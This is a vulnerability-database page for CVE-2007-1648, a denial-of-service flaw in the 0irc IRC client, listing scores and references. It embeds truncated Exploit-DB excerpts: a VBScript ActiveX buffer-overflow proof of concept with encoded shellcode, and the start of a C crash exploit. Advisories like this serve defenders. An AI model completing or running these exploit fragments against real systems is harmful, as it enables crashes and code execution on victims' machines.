CVE-2007-1648
published 2007-03-24CVE-2007-1648: 0irc 1345 build 20060823 allows remote attackers to cause a denial of service (application crash) by operating an IRC server that sends a long string to a…
PriorityP432high7.8CVSS 2.0
AVNACLAuNCNINAC
EXPLOIT
EPSS
7.09%
93.4th percentile
0irc 1345 build 20060823 allows remote attackers to cause a denial of service (application crash) by operating an IRC server that sends a long string to a client, which triggers a NULL pointer dereference.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| dev0.de | 0irc | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Zenturi ProgramChecker - ActiveX 'sasatl.dll' Remote Buffer Overflow
exploitdb·2007-06-01
CVE-2007-2987 Zenturi ProgramChecker - ActiveX 'sasatl.dll' Remote Buffer Overflow
Zenturi ProgramChecker - ActiveX 'sasatl.dll' Remote Buffer Overflow
---
Zenturi ProgramChecker ActiveX (sasatl.dll) Remote Buffer Overflow PoC
url: http://www.programchecker.com/activeintro.aspx
original advisory: http://secunia.com/advisories/25473/
Will Dormann, CERT/CC, is credited with the discovery of these issues
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet
Explorer 7
Sub tryMe()
buff = String(838, "A")
get_EIP = unescape("%AA%A2%39%7E") 'call ESI from user32.dll
nop = String(1648,unescape("%90"))
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%4
Exploit-DB
0irc-client 1345 build20060823 - Denial of Service
exploitdb·2007-03-22
CVE-2007-1648 0irc-client 1345 build20060823 - Denial of Service
0irc-client 1345 build20060823 - Denial of Service
---
/*
0irc-client v1345 build 20060823 DoS Exploit By DiGitalX ([email protected])
Date: 22/3/2007 -- MicroSystem Team -- Site: http://DiGitalX.I.am
Description: 0irc-client suffers from a NULL pointer derefrencing bug.
*/
#define WIN32_LEAN_AND_MEAN
#include
#include
#include
#include
#pragma comment(lib, "wsock32.lib")
// `perl -e "print 'a' x 623";`
#define As "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
No writeups or analysis indexed.
http://osvdb.org/43557http://www.securityfocus.com/bid/23101https://exchange.xforce.ibmcloud.com/vulnerabilities/33224https://www.exploit-db.com/exploits/3547http://osvdb.org/43557http://www.securityfocus.com/bid/23101https://exchange.xforce.ibmcloud.com/vulnerabilities/33224https://www.exploit-db.com/exploits/3547
2007-03-24
Published